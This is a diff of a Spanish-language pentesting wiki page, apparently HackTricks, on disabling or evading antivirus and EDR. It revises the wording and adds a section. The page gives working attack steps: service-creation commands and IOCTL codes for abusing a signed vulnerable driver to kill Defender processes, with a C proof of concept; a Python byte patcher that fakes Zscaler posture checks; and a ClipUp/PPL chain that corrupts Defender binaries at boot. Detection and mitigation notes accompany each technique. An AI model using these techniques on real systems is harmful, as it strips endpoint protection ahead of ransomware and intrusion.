@ -595,7 +602,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Usando python para construir ejemplos de inyectores:
|
||||
### Usando python para build injectors (ejemplo):
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -628,24 +635,24 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Eliminando AV/EDR Desde el Espacio del Núcleo
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Desactivar AV/EDR desde el espacio kernel
|
||||
|
||||
Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones de endpoint antes de soltar ransomware. La herramienta trae su **propio controlador vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas del núcleo que incluso los servicios AV de Protected-Process-Light (PPL) no pueden bloquear.
|
||||
Storm-2603 utilizó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones endpoint antes de desplegar ransomware. La herramienta trae su **propio driver vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas en el kernel que ni siquiera los servicios AV en Protected-Process-Light (PPL) pueden bloquear.
|
||||
|
||||
Puntos clave
|
||||
1. **Controlador firmado**: El archivo entregado en disco es `ServiceMouse.sys`, pero el binario es el controlador legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Debido a que el controlador tiene una firma válida de Microsoft, se carga incluso cuando la Aplicación de Aplicación de Firma de Controladores (DSE) está habilitada.
|
||||
1. **Driver firmado**: El archivo entregado en disco es `ServiceMouse.sys`, pero el binario es el driver legítimamente firmado `AToolsKrnl64.sys` de Antiy Labs’ “System In-Depth Analysis Toolkit”. Debido a que el driver tiene una firma válida de Microsoft se carga incluso cuando Driver-Signature-Enforcement (DSE) está habilitado.
|
||||
2. **Instalación del servicio**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
La primera línea registra el controlador como un **servicio del núcleo** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario.
|
||||
3. **IOCTLs expuestos por el controlador**
|
||||
| Código IOCTL | Capacidad |
|
||||
La primera línea registra el driver como un **servicio kernel** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario.
|
||||
3. **IOCTLs expuestos por el driver**
|
||||
| IOCTL code | Capacidad |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Terminar un proceso arbitrario por PID (utilizado para eliminar servicios de Defender/EDR) |
|
||||
| `0x99000050` | Terminar un proceso arbitrario por PID (usado para matar servicios Defender/EDR) |
|
||||
| `0x990000D0` | Eliminar un archivo arbitrario en disco |
|
||||
| `0x990001D0` | Descargar el controlador y eliminar el servicio |
|
||||
| `0x990001D0` | Descargar el driver y eliminar el servicio |
|
||||
|
||||
Prueba de concepto mínima en C:
|
||||
```c
|
||||
@ -659,30 +666,30 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Por qué funciona**: BYOVD omite completamente las protecciones en modo usuario; el código que se ejecuta en el núcleo puede abrir procesos *protegidos*, terminarlos o manipular objetos del núcleo independientemente de PPL/PP, ELAM u otras características de endurecimiento.
|
||||
4. **Por qué funciona**: BYOVD evita por completo las protecciones en user-mode; el código que se ejecuta en el kernel puede abrir procesos *protegidos*, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras medidas de hardening.
|
||||
|
||||
Detección / Mitigación
|
||||
• Habilitar la lista de bloqueo de controladores vulnerables de Microsoft (`HVCI`, `Smart App Control`) para que Windows se niegue a cargar `AToolsKrnl64.sys`.
|
||||
• Monitorear la creación de nuevos servicios *del núcleo* y alertar cuando un controlador se carga desde un directorio escribible por el mundo o no está presente en la lista de permitidos.
|
||||
• Observar los manejadores en modo usuario a objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
|
||||
• Habilitar la lista de bloqueo de drivers vulnerables de Microsoft (`HVCI`, `Smart App Control`) para que Windows se niegue a cargar `AToolsKrnl64.sys`.
|
||||
• Monitorizar la creación de nuevos servicios *kernel* y alertar cuando un driver se cargue desde un directorio escribible por cualquiera o no esté presente en la lista de permitidos.
|
||||
• Vigilar handles en user-mode hacia objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
|
||||
|
||||
### Bypass de las Comprobaciones de Postura del Cliente Zscaler a través de Parcheo de Binarios en Disco
|
||||
### Evasión de las comprobaciones de postura de Zscaler Client Connector mediante parcheo binario en disco
|
||||
|
||||
El **Client Connector** de Zscaler aplica reglas de postura del dispositivo localmente y se basa en RPC de Windows para comunicar los resultados a otros componentes. Dos elecciones de diseño débiles hacen posible un bypass completo:
|
||||
Zscaler’s **Client Connector** aplica reglas de postura del dispositivo localmente y depende de Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible una evasión completa:
|
||||
|
||||
1. La evaluación de postura ocurre **totalmente del lado del cliente** (se envía un booleano al servidor).
|
||||
2. Los puntos finales RPC internos solo validan que el ejecutable que se conecta esté **firmado por Zscaler** (a través de `WinVerifyTrust`).
|
||||
1. La evaluación de postura ocurre **enteramente en el cliente** (se envía un booleano al servidor).
|
||||
2. Los endpoints RPC internos sólo validan que el ejecutable conectante esté **firmado por Zscaler** (vía `WinVerifyTrust`).
|
||||
|
||||
Al **parchear cuatro binarios firmados en disco**, ambos mecanismos pueden ser neutralizados:
|
||||
Parcheando cuatro binarios firmados en disco se pueden neutralizar ambos mecanismos:
|
||||
|
||||
| Binario | Lógica original parcheada | Resultado |
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1` por lo que cada verificación es conforme |
|
||||
| `ZSAService.exe` | Llamada indirecta a `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso no firmado) puede enlazarse a los tubos RPC |
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Devuelve siempre `1` por lo que cada comprobación resulta conforme |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso no firmado) puede enlazarse a las RPC pipes |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Reemplazado por `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Comprobaciones de integridad en el túnel | Cortocircuitado |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | Cortocircuitado |
|
||||
|
||||
Extracto del parcheador mínimo:
|
||||
Minimal patcher excerpt:
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
@ -698,16 +705,91 @@ f.write(replacement)
|
||||
```
|
||||
Después de reemplazar los archivos originales y reiniciar la pila de servicios:
|
||||
|
||||
* **Todas** las verificaciones de postura muestran **verde/compliant**.
|
||||
* Los binarios no firmados o modificados pueden abrir los puntos finales de RPC de named-pipe (por ejemplo, `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* **Todas** las comprobaciones de postura muestran **verde/conformes**.
|
||||
* Binarios no firmados o modificados pueden abrir los endpoints RPC de named-pipe (p. ej. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* El host comprometido obtiene acceso sin restricciones a la red interna definida por las políticas de Zscaler.
|
||||
|
||||
Este estudio de caso demuestra cómo las decisiones de confianza puramente del lado del cliente y las simples verificaciones de firma pueden ser derrotadas con algunos parches de bytes.
|
||||
Este estudio de caso demuestra cómo decisiones de confianza puramente del lado del cliente y simples comprobaciones de firma pueden ser derrotadas con unos pocos parches de bytes.
|
||||
|
||||
## Referencias
|
||||
## Abusar de Protected Process Light (PPL) para manipular AV/EDR con LOLBINs
|
||||
|
||||
Protected Process Light (PPL) aplica una jerarquía de firmantes/nivel para que solo procesos protegidos de igual o mayor nivel puedan manipularse entre sí. Desde una perspectiva ofensiva, si puedes lanzar legítimamente un binario habilitado para PPL y controlar sus argumentos, puedes convertir funcionalidad benignas (p. ej., logging) en una primitiva de escritura restringida respaldada por PPL contra directorios protegidos usados por AV/EDR.
|
||||
|
||||
What makes a process run as PPL
|
||||
- El EXE objetivo (y cualquier DLL cargada) debe estar firmado con un EKU compatible con PPL.
|
||||
- El proceso debe crearse con CreateProcess usando las flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- Se debe solicitar un nivel de protección compatible que coincida con el firmante del binario (p. ej., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para firmantes anti-malware, `PROTECTION_LEVEL_WINDOWS` para firmantes de Windows). Niveles incorrectos fallarán en la creación.
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
{{#ref}}
|
||||
stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
Launcher tooling
|
||||
- Ayudante de código abierto: CreateProcessAsPPL (selecciona el nivel de protección y reenvía los argumentos al EXE objetivo):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- Patrón de uso:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
# example: spawn an anti-malware signed component at level 3
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- El binario del sistema firmado `C:\Windows\System32\ClipUp.exe` se auto-lanza y acepta un parámetro para escribir un archivo de registro en una ruta especificada por el llamador.
|
||||
- Cuando se ejecuta como proceso PPL, la escritura de archivo ocurre con soporte PPL.
|
||||
- ClipUp no puede parsear rutas que contienen espacios; use rutas cortas 8.3 para apuntar a ubicaciones normalmente protegidas.
|
||||
|
||||
8.3 short path helpers
|
||||
- Listar nombres cortos: `dir /x` en cada directorio padre.
|
||||
- Derivar ruta corta en cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
Abuse chain (abstract)
|
||||
1) Inicie el LOLBIN compatible con PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un lanzador (p. ej., CreateProcessAsPPL).
|
||||
2) Pase el argumento de ruta de registro de ClipUp para forzar la creación de un archivo en un directorio protegido del AV (p. ej., Defender Platform). Use nombres cortos 8.3 si es necesario.
|
||||
3) Si el binario objetivo normalmente está abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programe la escritura en el arranque antes de que el AV inicie instalando un servicio de autoarranque que se ejecute de forma fiable antes. Valide el orden de arranque con Process Monitor (boot logging).
|
||||
4) En el reinicio, la escritura respaldada por PPL ocurre antes de que el AV bloquee sus binarios, corrompiendo el archivo objetivo e impidiendo su arranque.
|
||||
|
||||
Ejemplo de invocación (rutas redactadas/acortadas por seguridad):
|
||||
```text
|
||||
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Notas y restricciones
|
||||
- No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; el primitive está más orientado a la corrupción que a la inyección precisa de contenido.
|
||||
- Requiere admin local/SYSTEM para instalar/iniciar un servicio y una ventana de reinicio.
|
||||
- El timing es crítico: el objetivo no debe estar abierto; la ejecución en tiempo de arranque evita bloqueos de archivos.
|
||||
|
||||
Detecciones
|
||||
- Creación de procesos de `ClipUp.exe` con argumentos inusuales, especialmente si tienen como padre lanzadores no estándar, alrededor del arranque.
|
||||
- Nuevos servicios configurados para auto-start de binarios sospechosos y que consistentemente arrancan antes de Defender/AV. Investigar creación/modificación de servicios antes de fallos en el arranque de Defender.
|
||||
- Monitoreo de integridad de archivos en los binarios/Directorios Platform de Defender; creaciones/modificaciones de archivos inesperadas por procesos con flags de protected-process.
|
||||
- Telemetría ETW/EDR: buscar procesos creados con `CREATE_PROTECTED_PROCESS` y uso anómalo de niveles PPL por binarios que no son AV.
|
||||
|
||||
Mitigaciones
|
||||
- WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué padres; bloquear invocaciones de ClipUp fuera de contextos legítimos.
|
||||
- Higiene de servicios: restringir la creación/modificación de servicios auto-start y monitorizar la manipulación del orden de arranque.
|
||||
- Asegurar que la protección contra manipulación de Defender y las protecciones de early-launch estén habilitadas; investigar errores de arranque que indiquen corrupción de binarios.
|
||||
- Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que alberguen tooling de seguridad si es compatible con tu entorno (probar exhaustivamente).
|
||||
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
|
||||
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
|
||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
|
||||
- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
|
||||
- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
|
||||
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user